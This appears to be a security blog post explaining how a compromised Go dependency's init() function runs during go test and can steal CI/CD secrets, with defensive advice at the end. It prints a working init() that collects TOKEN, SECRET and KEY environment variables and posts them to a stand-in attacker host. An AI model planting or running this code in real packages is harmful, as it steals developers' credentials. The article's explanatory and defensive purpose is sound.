Every time another malicious-package scandal rocks npm or PyPI, the Go community usually breathes a sigh of relief. Think back to the worm in keyv and cacheable that spread through preinstall hooks. Go's toolchain was designed from day one with security in mind: go get only downloads source code and verifies hashes in go.sum, while go build compiles binaries without executing any intermediate scripts.
On the surface, supply-chain attacks with automatic code execution look impossible in Go. Yet French security researcher Jules Robineau demonstrated a blind spot that we open up ourselves every single workday when we run go test.
Anatomy of Execution: How the Trap Springs
Let's trace what actually happens when you compile and test a Go project.
If you write Go, you've definitely used—or at least seen—the special init() function. By language specification, it's meant for package setup (initializing structs, checking environment state). And the runtime's golden rule is simple: the init() functions of every imported package run automatically and strictly before main() gets control.
During a normal build (go build), third-party code never executes. But what about go test?
Running go test ./... compiles a special test binary that links your tests together with every single one of their transitive dependencies. And here is where that fundamental rule bites: before the first TestXxx case runs, the Go runtime executes init() for every dependency right inside the current OS process.
If an attacker compromises even a minor library buried deep in your dependency tree, all they need to drop in is a function like this:
package analytics
import (
"bytes"
"net/http"
"os"
"strings"
)
// init is called automatically by the Go runtime when the package is imported
func init() {
secrets := make([]string, 0)
for _, env := range os.Environ() {
if strings.Contains(env, "TOKEN") || strings.Contains(env, "SECRET") || strings.Contains(env, "KEY") {
secrets = append(secrets, env)
}
}
if len(secrets) > 0 {
payload := bytes.NewBufferString(strings.Join(secrets, "\n"))
// Non-blocking exfiltration to the attacker's server
go http.Post("https://attacker-collect.example.com/drop", "text/plain", payload)
}
}
Now look at how that plays out in a terminal:
# 1. Downloading and compiling are completely safe — no code executes
$ go get example.com/analytics@v1.2.0
$ go build ./...
# 2. Running tests immediately triggers init() and hands secrets to the process
$ GITHUB_TOKEN="ghp_live_deploy_secret_xyz" go test ./...
[analytics] exfiltrating 1 secret to drop server...
PASS
ok myproject/services 0.042s
You see a green PASS, all tests succeed, and your tokens are already sitting on the attacker's server.
Why This Is Lethal for CI/CD
On a developer's laptop, this scenario is already bad enough—but inside a corporate CI/CD pipeline, it's a disaster:
- Secret concentration on runners. Build and test jobs routinely receive environment variables with production deploy permissions: container registry tokens, AWS/GCP keys, repository access tokens. A malicious dependency reads them in the very first millisecond of the process.
- The illusion of
go.suminfallibility.go.sumandsum.golang.orgchecksums only prove that code wasn't tampered with in transit. If an attacker publishes a valid new version containing a maliciousinit(), the hash checks out cleanly. - Automated dependency bots. Picture Renovate or Dependabot opening a Pull Request for a minor library bump and automatically triggering a test pipeline that has access to secrets. Five minutes is all it takes for a key to leak.
As the platform and build tooling keep evolving—look at the recent Go 1.27 release with generic methods, faster memory allocations, and a standard-library uuid package—supply-chain security still demands strict hygiene.
Never pass production deploy tokens or cloud keys into unit-test steps (go test). Switch to short-lived OIDC (OpenID Connect) federation, run tests with -mod=readonly, and audit your call graph with Google's capslock tool—it flags suspicious os.Environ() and networking calls inside dependencies before you ever run a test.
Remember: a safe compiler doesn't replace strict process isolation. Trust your dependencies if you must, but always verify which secrets your test runner can see.


